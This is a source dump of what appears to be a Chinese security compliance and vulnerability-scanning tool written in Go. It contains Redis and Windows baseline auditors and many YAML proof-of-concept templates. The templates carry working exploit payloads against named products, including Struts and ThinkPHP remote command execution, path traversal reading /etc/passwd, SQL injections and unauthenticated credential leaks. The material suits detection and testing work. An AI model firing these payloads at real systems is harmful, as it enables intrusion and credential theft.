/poc/yaml-poc/poc-yaml-skzyqyxxgl-Diretory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-时空智友企业信息管理-Diretory 2 | description: "读取任意文件" 3 | method: POST 4 | body: "op=verify%7Clogin&targetpage=&errorpage=WEB-INF/web.xml&mark=&tzo=480&username=admin&password=admin" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded" 7 | path: 8 | - /login 9 | expression: 10 | status: 200 11 | body_all: 12 | - "index.html" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-skzyqyxxgl-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-时空智友企业信息管理-sql 2 | description: "SQL注入" 3 | method: POST 4 | headers: 5 | Content-Type: "application/json" 6 | body: > 7 | {"params": {"a": "1"}, "sql": "select 262214"} 8 | path: 9 | - /formservice?service=workflow.sqlResult 10 | expression: 11 | status: 200 12 | body_all: 13 | - "262214" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-springboot-env-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Springboot-env-unauth 2 | description: "springboot未授权访问" 3 | method: GET 4 | path: 5 | - /env 6 | - /actuator/env 7 | expression: 8 | status: 200 9 | body_all: 10 | - "version" 11 | - "arch" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-struts-cve_2021_31805.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-struts-cve_2021_31805 2 | description: "可任意执行命令" 3 | method: POST 4 | body: "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF—" 5 | headers: 6 | Content-Type: "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF" 7 | Cache-Control: "max-age=0" 8 | Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" 9 | path: 10 | - / 11 | expression: 12 | status: 200 13 | body_all: 14 | - "root:x:0:0:" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-szycms-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-狮子鱼CMS-sql 2 | description: "sql注入" 3 | method: GET 4 | path: 5 | - /index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1) 6 | expression: 7 | status: 200 8 | body_any: 9 | - "localhost" 10 | - "XPATH syntax error" 11 | - "系统发生错误" 12 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-tdsql-leak.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-腾讯-TDSQL-leak 2 | description: "数据库信息泄露" 3 | method: GET 4 | path: 5 | - /tdsqlpcloud/index.php/api/install/get_db_info 6 | expression: 7 | status: 200 8 | body_all: 9 | - "ip" 10 | - "port" 11 | - "user" 12 | - "pwd" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-thinkphp-3.x.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkphp-3.x-日志泄露 2 | description: "可基于thinkphp泄露的日志获得敏感日志" 3 | method: GET 4 | path: 5 | - /Application/Runtime/Logs/Home/{01_01_01}.log 6 | expression: 7 | status: 200 8 | body_any: 9 | - "INFO" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-thinkphp-5.0.23-rce.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-thinkphp-5.0.23-rce 2 | description: "可基于thinkphp的debug执行任意命令," 3 | method: POST 4 | body: "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id" 5 | path: 6 | - /index.php?s=captcha 7 | headers: 8 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8" 9 | expression: 10 | status: 404 11 | body_any: 12 | - "uid" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-tongda-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-通达OA-sql 2 | description: "sql注入" 3 | method: GET 4 | path: 5 | - /share/handle.php?_GET[module]=1%27+and+1={`=%27`+1}+and+1=0+union+select+(select/**/user())--+%27 6 | expression: 7 | status: 200 8 | body_all: 9 | - "status" 10 | - "short_url" 11 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-tqhm-vpn-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-天清汉马VPN-Directory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /vpn/user/download/client?ostype=../../../../../../../../../etc/passwd 6 | expression: 7 | status: 200 8 | body_any: 9 | - "root:" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-twwy-erp-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-天问物业ERP系统-Directory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /HM/M_Main/InformationManage/AreaAvatarDownLoad.aspx?AreaAvatar=../web.config 6 | expression: 7 | status: 200 8 | body_any: 9 | - "version" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-wanhuoa-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-万户OA-unatuh 2 | description: "万户OA获取所有账户密码" 3 | method: GET 4 | path: 5 | - /defaultroot/evoInterfaceServlet?paramType=user 6 | expression: 7 | status: 200 8 | body_any: 9 | - "userList" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-website-backup-download.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-website-backup-download 2 | description: "备份文件下载" 3 | alwaysExecute: true 4 | method: GET 5 | path: 6 | - "/backup.tar.gz" 7 | - "/backup.zip" 8 | - "/backup.sql" 9 | - "/backup.rar" 10 | - "/backup.bak" 11 | - "/.git/HEAD" 12 | - "/.svn/entries" 13 | - "/.hg/dirstate" 14 | - "/.DS_Store" 15 | - "/.htaccess" 16 | - "/.htpasswd" 17 | - "/web.config" 18 | - "/db/backup.db" 19 | - "/db/backup.sql" 20 | - ".log" 21 | - 22 | expression: 23 | status: 200 24 | content_type: "application/octet-stream" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-wyxy-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-网御星云-上网行为管理系统-sql 2 | description: "sql注入" 3 | method: GET 4 | path: 5 | - /bottomframe.cgi?user_name=%27))%20union%20select%20md5(1)%23 6 | expression: 7 | status: 200 8 | body_all: 9 | - "c4ca4238a0b923820dcc509a6f75849b" 10 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-yongyou-GRP-U8-leak.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-用友GRP-U8-leak 2 | description: "敏感信息泄露" 3 | method: GET 4 | path: 5 | - /logs/info.log 6 | expression: 7 | status: 200 8 | body_all: 9 | - "INFO" 10 | - "write" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-yongyou-GRP-U8-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-用友GRP-U8-sql 2 | description: "sql注入" 3 | method: POST 4 | headers: 5 | Content-Type: " application/x-www-form-urlencoded" 6 | body: > 7 | userName=';WAITFOR DELAY '0:0:3'--&ysnd=&historyFlag= 8 | path: 9 | - /u8qx/bx_historyDataCheck.jsp 10 | expression: 11 | status: 200 12 | sleep: 3 -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-yongyou-KSOA-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-用友-时空KSOA-sql 2 | description: "SQL注入" 3 | method: GET 4 | path: 5 | - /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1%27;WAITFOR%20DELAY%20%270:0:4%27-- 6 | expression: 7 | status: 200 8 | sleep: 4 -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-yongyou-nc-BshServlet-cmd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-用友nc-BshServlet-cmd 2 | description: "BeanShell执行任意命令(exec)" 3 | method: GET 4 | path: 5 | - /servlet/~ic/bsh.servlet.BshServlet 6 | expression: 7 | status: 200 8 | body_any: 9 | - "BeanShell" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-yongyou-nc-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-用友nc-Directory 2 | description: "可进行目录遍历" 3 | method: GET 4 | path: 5 | - /NCFindWeb?service=IPreAlertConfigService&filename= 6 | expression: 7 | status: 200 8 | body_any: 9 | - "jsp" 10 | - "XML" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-yongyou-ydxtgl-leak.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-用友-移动系统管理-unauth 2 | description: "未授权访问" 3 | method: GET 4 | path: 5 | - /maportal/ 6 | expression: 7 | status: 200 8 | body_any: 9 | - "欢迎你" 10 | - "管理员" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-yongyou-ydxtgl-sql.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-用友-移动系统管理-sql 2 | description: "sql注入" 3 | method: POST 4 | body: "appname=1&sys_type=&loginmode=&joinmode=" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8" 7 | path: 8 | - /maportal/appmanager/init 9 | expression: 10 | status: 200 11 | body_all: 12 | - "productlist" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-yst-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-亿赛通-电子文档安全管理系统-Directory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=1 6 | expression: 7 | status: 200 8 | body_all: 9 | - "Mail" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-zgyd-route-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-中国移动-禹路由-unauth 2 | description: "登录绕过" 3 | method: GET 4 | path: 5 | - /simple-index.asp 6 | expression: 7 | status: 200 8 | body_all: 9 | - "无线设置" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yuaml-BYTEVALUE -cmd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-智能流控路由器-cmd 2 | description: "任意命令执行" 3 | method: GET 4 | path: 5 | - /goform/webRead/open/?path=|id 6 | expression: 7 | status: 200 8 | body_all: 9 | - "uid=" 10 | -------------------------------------------------------------------------------- /poc/yaml-poc/yaml-poc-HFS-cmd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-HFS-cmd 2 | description: "任意命令执行" 3 | method: GET 4 | path: 5 | - "/?n=%0A&cmd=ipconfig+&search=%25x%25url%25:%user%}{.exec|{.?cmd.}|timeout=15|out=output.}{.?n.}{.?n.}RESULT:{.?n.}^====^{.?n.}{.^output.}^====^{.?n.}" 6 | expression: 7 | status: 200 8 | body_all: 9 | - "DNS" 10 | - "IPv4" -------------------------------------------------------------------------------- /poc/yaml.go: -------------------------------------------------------------------------------- 1 | package poc 2 | 3 | import ( 4 | "embed" 5 | "gopkg.in/yaml.v2" 6 | "io/fs" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | //go:embed yaml-poc/*.yaml 12 | var yamlFS embed.FS 13 | 14 | type Config struct { 15 | Name string `yaml:"name"` //漏洞名称 16 | Description string `yaml:"description"` //漏洞描述 17 | Method string `yaml:"method"` //请求类型 18 | Path []string `yaml:"path"` //请求路径 19 | Body string `yaml:"body"` //发送值 20 | Headers map[string]string `yaml:"headers"` //设置Headers 21 | Expression Expression `yaml:"expression"` //返回值 22 | AlwaysExecute bool `yaml:"alwaysExecute"` //是否直接执行不考虑app等组件 23 | Timeout time.Duration `yaml:"timeout"` //等待时常 24 | } 25 | 26 | type Expression struct { 27 | Status int `yaml:"status"` //返回的状态码 28 | ContentType string `yaml:"content_type"` //返回头 29 | BodyALL []string `yaml:"body_all"` //必须包含所有特征 30 | BodyAny []string `yaml:"body_any"` //包含任意特征 31 | Time float64 `yaml:"sleep"` //总共耗时 32 | } 33 | 34 | // parseConfigs 解析yaml文件 35 | func parseConfigs(dir string) ([]Config, error) { 36 | var configs []Config 37 | 38 | dirEntries, err := fs.ReadDir(yamlFS, dir) 39 | if err != nil { 40 | return nil, err 41 | } 42 | 43 | for _, entry := range dirEntries { 44 | if !entry.IsDir() && strings.HasSuffix(strings.ToLower(entry.Name()), ".yaml") { 45 | data, err := fs.ReadFile(yamlFS, dir+"/"+entry.Name()) 46 | if err != nil { 47 | return nil, err 48 | } 49 | 50 | var config Config 51 | err = yaml.Unmarshal(data, &config) 52 | if err != nil { 53 | return nil, err 54 | } 55 | 56 | configs = append(configs, config) 57 | } 58 | } 59 | 60 | return configs, nil 61 | } 62 | -------------------------------------------------------------------------------- /run/Redis.go: -------------------------------------------------------------------------------- 1 | package run 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/go-redis/redis/v8" 7 | "github.com/spf13/cobra" 8 | "golin/global" 9 | "os" 10 | "path/filepath" 11 | "regexp" 12 | "strings" 13 | "time" 14 | ) 15 | 16 | func Redis(cmd *cobra.Command, args []string) { 17 | //获取分隔符,默认是|| 18 | spr, err := cmd.Flags().GetString("spript") 19 | if err != nil { 20 | fmt.Println(err) 21 | return 22 | } 23 | //如果value值不为空则是运行一次的模式 24 | value, err := cmd.Flags().GetString("value") 25 | if err != nil { 26 | fmt.Println(err) 27 | return 28 | } 29 | if len(value) > 10 { 30 | Onlyonerun(value, spr, "Redis") 31 | wg.Wait() 32 | zlog.Info("单次运行Redis模式结束!") 33 | return 34 | } 35 | //下面是多线程的模式 36 | ippath, err := cmd.Flags().GetString("ip") 37 | if err != nil { 38 | fmt.Println(err) 39 | return 40 | } 41 | //判断redis.txt文件是否存在 42 | Checkfile(ippath, fmt.Sprintf("名称%sip%s用户%s密码%s端口", Split, Split, Split, Split), global.FilePer, ippath) 43 | 44 | // 运行share文件中的函数 45 | Rangefile(ippath, spr, "Redis") 46 | wg.Wait() 47 | //完成前最后写入文件 48 | Deffile("Redis", count, count-len(errhost), errhost) 49 | 50 | } 51 | 52 | func Runredis(myname, myuser, myhost, mypasswd, myport1 string) { 53 | defer wg.Done() 54 | Port := strings.Replace(myport1, "\r", "", -1) 55 | ctx := context.Background() 56 | adr := myhost + ":" + Port 57 | //如果为user=null则改为空密码,web功能会用到此功能 58 | if myuser == "null" { 59 | myuser = "" 60 | } 61 | client := redis.NewClient(&redis.Options{ 62 | Addr: adr, 63 | Username: myuser, 64 | Password: mypasswd, 65 | DB: 0, 66 | DialTimeout: 1 * time.Second, 67 | MinRetryBackoff: 1 * time.Second, 68 | ReadTimeout: 1 * time.Second, 69 | }) 70 | _, err := client.Ping(ctx).Result() 71 | if err != nil { 72 | errhost = append(errhost, myhost) 73 | return 74 | } 75 | 76 | pullpath := filepath.Join(succpath, "Redis") 77 | _, err = os.Stat(pullpath) 78 | if os.IsNotExist(err) { 79 | os.MkdirAll(pullpath, os.FileMode(global.FilePer)) 80 | } 81 | fire := filepath.Join(pullpath, fmt.Sprintf("%s_%s.html", myname, myhost)) 82 | os.Remove(fire) 83 | html := redishtml() 84 | 85 | // 整体info信息 86 | infoStr := client.Info(ctx).Val() 87 | infoStr = strings.ReplaceAll(infoStr, "\r\n", "\n") 88 | infoStr = strings.ReplaceAll(infoStr, "\n", "
") 89 | html = strings.ReplaceAll(html, "info信息详细信息", fmt.Sprintf("%s", infoStr)) 90 | 91 | // 创建一个正则表达式对象,用来匹配redis_version 92 | version := "" 93 | re := regexp.MustCompile(`redis_version:([\d\.]+)`) 94 | matches := re.FindStringSubmatch(infoStr) 95 | if len(matches) > 1 { 96 | version = matches[1] 97 | } 98 | 99 | client.Get(ctx, "config").Val() 100 | ipaddr := client.ConfigGet(ctx, "bind").Val() 101 | lofile := client.ConfigGet(ctx, "logfile").Val() 102 | loglevel := client.ConfigGet(ctx, "loglevel").Val() 103 | pass := client.ConfigGet(ctx, "requirepass").Val() 104 | redistimout := client.ConfigGet(ctx, "timeout").Val() 105 | redisport := client.ConfigGet(ctx, "port").Val() 106 | redissslport := client.ConfigGet(ctx, "tls-port").Val() 107 | aclfile := client.ConfigGet(ctx, "aclfile").Val() 108 | protocols := client.ConfigGet(ctx, "tls-protocols").Val() 109 | 110 | //执行自定义命令,获取用户信息 111 | users, err := client.Do(ctx, "ACL", "LIST").StringSlice() 112 | if err == nil { 113 | if len(users) > 0 { 114 | userechho := "" 115 | userechho += fmt.Sprintf("aclfile存储路径:%s
", aclfile) 116 | for _, user := range users { 117 | userechho += user + "
" 118 | } 119 | html = strings.ReplaceAll(html, "acluser信息详细信息", userechho) 120 | } 121 | } 122 | 123 | aclcount := client.ConfigGet(ctx, "acllog-max-len").Val() 124 | //log := client.Do(ctx, "ACL", "LOG").Val() 125 | // 基本信息 126 | html = strings.ReplaceAll(html, "基本信息详细信息", fmt.Sprintf("%s%s%s", version, ipaddr[1], pass[1])) 127 | // 超时及失败信息 128 | html = strings.ReplaceAll(html, "超时时间详细信息", fmt.Sprintf("%s%s", redistimout[1], "默认无此功能")) 129 | // 端口信息 130 | if len(redissslport) == 2 { 131 | html = strings.ReplaceAll(html, "端口信息详细信息", fmt.Sprintf("%s%s%s", redisport[1], redissslport[1], protocols[1])) 132 | } else { 133 | html = strings.ReplaceAll(html, "端口信息详细信息", fmt.Sprintf("%s%s%s", redisport[1], redissslport, protocols)) 134 | } 135 | // 日志信息 136 | if len(aclcount) == 2 { 137 | html = strings.ReplaceAll(html, "日志信息详细信息", fmt.Sprintf("%s%s%s", lofile[1], loglevel[1], aclcount[1])) 138 | } else { 139 | html = strings.ReplaceAll(html, "日志信息详细信息", fmt.Sprintf("%s%s%s", lofile[1], loglevel[1], aclcount)) 140 | } 141 | 142 | html = strings.ReplaceAll(html, "替换名称", adr) 143 | 144 | os.WriteFile(fire, []byte(html), os.FileMode(global.FilePer)) 145 | 146 | } 147 | -------------------------------------------------------------------------------- /run/global.go: -------------------------------------------------------------------------------- 1 | package run 2 | 3 | import ( 4 | "embed" 5 | "html/template" 6 | ) 7 | 8 | //go:embed template/linux_html.html 9 | var templateFile embed.FS 10 | 11 | //go:embed template/oracle_html.html 12 | var templateFileOracle embed.FS 13 | 14 | //go:embed template/styles.css 15 | var css template.CSS 16 | -------------------------------------------------------------------------------- /run/linux.go: -------------------------------------------------------------------------------- 1 | package run 2 | 3 | import ( 4 | "fmt" 5 | "github.com/spf13/cobra" 6 | "go.uber.org/zap" 7 | "golin/global" 8 | "os" 9 | "path" 10 | "strings" 11 | ) 12 | 13 | var ( 14 | echorun bool 15 | sudorun bool 16 | ) 17 | 18 | func Linux(cmd *cobra.Command, args []string) { 19 | _ = global.MkdirAll(path.Join("采集完成目录", "Linux")) 20 | //是否sudo权限执行 21 | sudo, err := cmd.Flags().GetBool("sudo") 22 | if err != nil { 23 | fmt.Println(err) 24 | return 25 | } 26 | sudorun = sudo 27 | 28 | //确认结果是否输出 29 | echotype, err := cmd.Flags().GetBool("echo") 30 | if err != nil { 31 | fmt.Println(err) 32 | return 33 | } 34 | //是否输出记录内容 35 | echorun = echotype 36 | spr, err := cmd.Flags().GetString("spript") 37 | if err != nil { 38 | fmt.Println(err) 39 | return 40 | } 41 | cmdpath, err := cmd.Flags().GetString("cmd") 42 | if err != nil { 43 | fmt.Println(err) 44 | return 45 | } 46 | //如果cmdpath不为空,则判断是不是存在,存在则读取出来写入到runcmd变量中,为空则使用 Linux_cmd函数中的默认命令 47 | if len(cmdpath) > 0 { 48 | _, err := os.Stat(cmdpath) 49 | if os.IsNotExist(err) { 50 | zlog.Warn("自定义执行命令文件不存在!", zap.String("文件", cmdpath)) 51 | os.Exit(3) 52 | } 53 | fire, _ := os.ReadFile(cmdpath) 54 | runcmd = string(fire) 55 | //新增: 去掉文件中的换行符,最后一个不是;自动增加然后保存成一条命令 56 | newcmd := "" 57 | checkcmd := strings.Split(runcmd, "\n") 58 | for i := 0; i < len(checkcmd); i++ { 59 | checkend := checkcmd[i] 60 | checkend = strings.Replace(checkend, "\r", "", -1) 61 | if len(checkend) == 0 { 62 | continue 63 | } 64 | if checkend[len(checkend)-1:] == ";" { 65 | newcmd += checkend 66 | } else { 67 | newcmd += checkend + ";" 68 | } 69 | } 70 | if newcmd != "" { 71 | runcmd = newcmd 72 | } 73 | } 74 | 75 | //判断是否有自定义执行的命令,如果有则处理他,不执行cmd文件中的命令。 76 | cmdvalue, err := cmd.Flags().GetString("cmdvalue") 77 | if err != nil { 78 | fmt.Println(err) 79 | return 80 | } 81 | if len(cmdvalue) > 0 { 82 | runcmd = string(cmdvalue) 83 | } 84 | //判断是不是本机执行的模式, 85 | localhosttype, err := cmd.Flags().GetBool("localhost") 86 | if err != nil { 87 | fmt.Println(err) 88 | return 89 | } 90 | if localhosttype { 91 | LocalrunLinux() 92 | return 93 | } 94 | 95 | //如果value值不为空则是运行一次的模式 96 | value, err := cmd.Flags().GetString("value") 97 | if err != nil { 98 | fmt.Println(err) 99 | return 100 | } 101 | if len(value) > 10 { 102 | Onlyonerun(value, spr, "Linux") 103 | wg.Wait() 104 | return 105 | } 106 | // 下面开始执行批量的 107 | ippath, err := cmd.Flags().GetString("ip") 108 | if err != nil { 109 | fmt.Println(err) 110 | return 111 | } 112 | //判断linux.txt文件是否存在 113 | Checkfile(ippath, fmt.Sprintf("名称%sip%s用户%s密码%s端口", Split, Split, Split, Split), global.FilePer, ippath) 114 | // 运行share文件中的函数 115 | Rangefile(ippath, spr, "Linux") 116 | wg.Wait() 117 | //完成前最后写入文件 118 | Deffile("Linux", count, count-len(errhost), errhost) 119 | } 120 | -------------------------------------------------------------------------------- /run/navicat/navicat_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux 2 | 3 | package navicat 4 | 5 | import "github.com/spf13/cobra" 6 | 7 | func Run(cmd *cobra.Command, args []string) { return } 8 | -------------------------------------------------------------------------------- /run/oracle_struct.go: -------------------------------------------------------------------------------- 1 | package run 2 | 3 | import ( 4 | "database/sql" 5 | "html/template" 6 | ) 7 | 8 | type DataOracle struct { 9 | CSS template.CSS //css样式 10 | Name string //名称 11 | Version []string //版本信息 12 | UserInfo []SysUser //sys.user视图数据 13 | ListParameter []Parameter //部分安全配置策略 14 | DBAUSERS []DBA_USERS //DBA_USERS信息 15 | PasswdVerify []VerifyFunc //配置文件的密码策略规则 16 | SYSTEMAUTHORITY []AUTHORITY //系统权限 17 | ObjectPermissions []AUTHORITY //对象权限 18 | AuditPARAMETER []Audit //审计配置 19 | IdleTime []TimeoutidleTime //超时 20 | FuncPass []DbaSource //数据库中所有函数 21 | } 22 | 23 | type SysUser struct { 24 | UserNum sql.NullInt64 `db:"USER#"` 25 | Name sql.NullString `db:"NAME"` 26 | TypeNum sql.NullInt64 `db:"TYPE#"` 27 | Password sql.NullString `db:"PASSWORD"` 28 | CTime sql.NullTime `db:"CTIME"` 29 | PTime sql.NullTime `db:"PTIME"` 30 | ExpTime sql.NullTime `db:"EXPTIME"` 31 | LTime sql.NullTime `db:"LTIME"` 32 | } 33 | 34 | type DBA_USERS struct { 35 | User string `db:"USERNAME"` 36 | Profile string `db:"PROFILE"` 37 | Status string `db:"ACCOUNT_STATUS"` 38 | Expiry sql.NullTime `db:"EXPIRY_DATE"` 39 | LockTime sql.NullTime `db:"LOCK_DATE"` 40 | CreateTime sql.NullTime `db:"CREATED"` 41 | } 42 | 43 | type Parameter struct { 44 | Name string `db:"NAME"` 45 | Value string `db:"VALUE"` 46 | } 47 | 48 | type VerifyFunc struct { 49 | Profile string 50 | Resp string 51 | Type string 52 | Limit string 53 | } 54 | 55 | type AUTHORITY struct { 56 | Name string 57 | Privilege string 58 | Opthion string 59 | } 60 | 61 | type Audit struct { 62 | NAME string 63 | VALUE sql.NullString `db:"VALUE"` 64 | ISSES_MODIFIABLE string 65 | ISSYS_MODIFIABLE string 66 | ISINSTANCE_MODIFIABLE string 67 | DESCRIPTION string 68 | } 69 | 70 | type TimeoutidleTime struct { 71 | Profile string 72 | ResourceNam string 73 | Limit string 74 | } 75 | 76 | type DbaSource struct { 77 | OWNER string 78 | NAME string 79 | LINE int 80 | TEXT string 81 | } 82 | -------------------------------------------------------------------------------- /run/template/styles.css: -------------------------------------------------------------------------------- 1 | body { 2 | display: grid; 3 | grid-template-columns: 1fr 200px; 4 | gap: 10px; 5 | font-family: Arial, sans-serif; 6 | position: relative; 7 | } 8 | 9 | table { 10 | border-collapse: collapse; 11 | margin-bottom: 20px; 12 | width: 100%; 13 | box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1); 14 | table-layout: fixed; 15 | word-wrap: break-word; 16 | } 17 | 18 | th, 19 | td { 20 | border: 1px solid #ddd; 21 | padding: 15px; 22 | text-align: left; 23 | } 24 | 25 | th { 26 | background-color: #007BFF; 27 | color: white; 28 | font-weight: bold; 29 | } 30 | 31 | tr:nth-child(even) { 32 | background-color: #f9f9f9; 33 | } 34 | 35 | tr:hover { 36 | background-color: #e6f2ff; 37 | } 38 | 39 | .watermark { 40 | font-size: 36px; 41 | color: rgba(128, 128, 128, 0.2); 42 | position: absolute; 43 | z-index: -1; 44 | transform: rotate(-30deg); 45 | } 46 | 47 | #toc { 48 | position: fixed; 49 | top: 20px; 50 | right: 30px; 51 | padding-left: 10px; 52 | background-color: #f8f9fa; 53 | padding: 10px; 54 | border: 1px solid #dee2e6; 55 | border-radius: 5px; 56 | box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1); 57 | height: calc(100% - 40px); /* 考虑到 top 的 20px 和底部的留白 20px */ 58 | overflow-y: auto; /* 滚动条 */ 59 | width: 150px; /* 目录宽度 */ 60 | max-height: 600px; 61 | } 62 | 63 | #toc ul { 64 | list-style-type: none; 65 | padding: 0; 66 | margin: 0; 67 | } 68 | 69 | #toc a { 70 | text-decoration: none; 71 | color: #333; 72 | display: block; 73 | word-wrap: break-word; /* 如果单词超过容器宽度,允许在单词内部换行 */ 74 | overflow-wrap: break-word; /* 同上,但更好的兼容性 */ 75 | } 76 | 77 | #toc a:hover { 78 | color: #25fa8c; 79 | } 80 | .watermark { 81 | font-size: 36px; 82 | color: rgba(128, 128, 128, 0.2); 83 | position: absolute; 84 | z-index: 1000; 85 | transform: rotate(-30deg); 86 | } 87 | pre { 88 | background-color: #f8f9fa; 89 | border: 1px solid #dee2e6; 90 | padding: 15px; 91 | border-radius: 5px; 92 | overflow-x: auto; 93 | font-family: "Courier New", Courier, monospace; 94 | white-space: pre-wrap; 95 | word-break: break-word; 96 | } 97 | .permissions { 98 | width: 350px; 99 | white-space: nowrap; 100 | overflow-x: auto; 101 | } 102 | 103 | a:visited { 104 | color: #ffffff; 105 | } 106 | -------------------------------------------------------------------------------- /run/windows/Screen.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "strconv" 8 | "strings" 9 | ) 10 | 11 | // screen 屏保相关 12 | func screen() { 13 | echo := fmt.Sprintf("%s%s%s%s", "检查屏幕保护开启状态", "未开启", No, "开启并配置等待时间不高于10分钟") 14 | //查询是否开启屏保 15 | v, err := regedt(`Control Panel\Desktop`, "SCRNSAVE.EXE") 16 | if err == nil { 17 | v, err = regedt(`Control Panel\Desktop`, "ScreenSaveTimeOut") 18 | if err == nil { 19 | intv, _ := strconv.Atoi(v) 20 | if intv <= 600 { 21 | echo = fmt.Sprintf("%s%s%s%s", "检查屏幕保护开启状态", "已开启", Yes, "开启并配置等待时间不高于10分钟") 22 | echo += fmt.Sprintf("%s%s(秒)%s%s", "检查屏幕保护等待时间", v, Yes, "等待时间不高于10分钟") 23 | } 24 | } 25 | v, err = regedt(`Control Panel\Desktop`, "ScreenSaverIsSecure") 26 | if err == nil { 27 | intv, _ := strconv.Atoi(v) 28 | if intv > 0 { 29 | echo += fmt.Sprintf("%s%s%s%s", "检查在恢复时显示登录界面", "已开启", Yes, "开启") 30 | } 31 | if intv == 0 { 32 | echo += fmt.Sprintf("%s%s%s%s", "检查在恢复时显示登录界面", "未启用", No, "开启") 33 | } 34 | } 35 | } 36 | html = strings.ReplaceAll(html, "屏幕保护相关结果", echo) 37 | } 38 | -------------------------------------------------------------------------------- /run/windows/auditd.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package windows 4 | 5 | import ( 6 | "fmt" 7 | "regexp" 8 | "strings" 9 | ) 10 | 11 | func auditd() { 12 | var auditlist []Policyone 13 | one := Policyone{} 14 | for key, value := range auditmap { 15 | v, ok := Policy[key] //是否审核系统事件 16 | if ok { 17 | switch v { 18 | case "0": 19 | one = Policyone{Name: value, Static: No, Value: "未开启", Steer: "开启成功与失败事件"} 20 | case "1": 21 | one = Policyone{Name: value, Static: No, Value: 